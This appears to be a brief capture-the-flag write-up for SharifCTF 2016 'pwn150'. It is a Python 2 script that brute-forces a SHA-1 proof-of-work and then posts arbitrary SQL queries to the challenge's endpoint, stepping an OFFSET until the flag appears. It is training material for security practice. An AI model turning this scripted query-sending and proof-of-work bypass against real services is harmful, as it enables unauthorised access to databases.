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February 7, 2016 19:59
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writeup of pwn150 SharifCTF
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import requests | |
from hashlib import * | |
TARGET = "http://ctf.sharif.edu:36455/chal/sql/" | |
session = requests.Session() | |
def get_Nonce(): | |
get_request = session.get(TARGET) | |
start = get_request.text.find("Nonce:") + len("Nonce: ") | |
fin = get_request.text.find("<br><br>") - 1 | |
return get_request.text[start:fin] | |
def get_pow(nonce , max): | |
for i in xrange(0,max): | |
clear = hex(i)[2:] + nonce | |
hash_first_bytes = sha1(clear).hexdigest()[0:5] | |
if(hash_first_bytes == "00000"): | |
return hex(i)[2:] | |
return False | |
def send_request(pow_value , query): | |
payload = {'pow':pow_value , 'sql':query} | |
post_request = session.post(TARGET , data=payload) | |
return post_request | |
def extract_flag(response): | |
start = response.find("SharifCTF") | |
fin = response.find("}</td>") + 1 | |
return response[start:fin] | |
#offset = 26350 | |
i = 0 | |
while True: | |
i += 3 | |
nonce = get_Nonce() | |
print "[+] Getting Nonce: "+nonce | |
powv =get_pow(nonce, 100000000000) | |
print "[+] Pow bruteforced: "+powv | |
print "[+] sha1(concat(pow , nonce)): "+sha1(powv+nonce).hexdigest() | |
psql = "SELECT * FROM messages ORDER BY msg DESC OFFSET "+ str(i) +";" | |
print "[+] sending request: "+ psql | |
r = send_request(powv, psql ) | |
if(r.text.find("SharifCTF{") != -1): | |
print "[+] Flag detected !!!" | |
break | |
else: | |
print "[-] Flag not found\n\n\n" | |
flag = extract_flag(r.text) | |
print "[+] The flag is: "+ flag |
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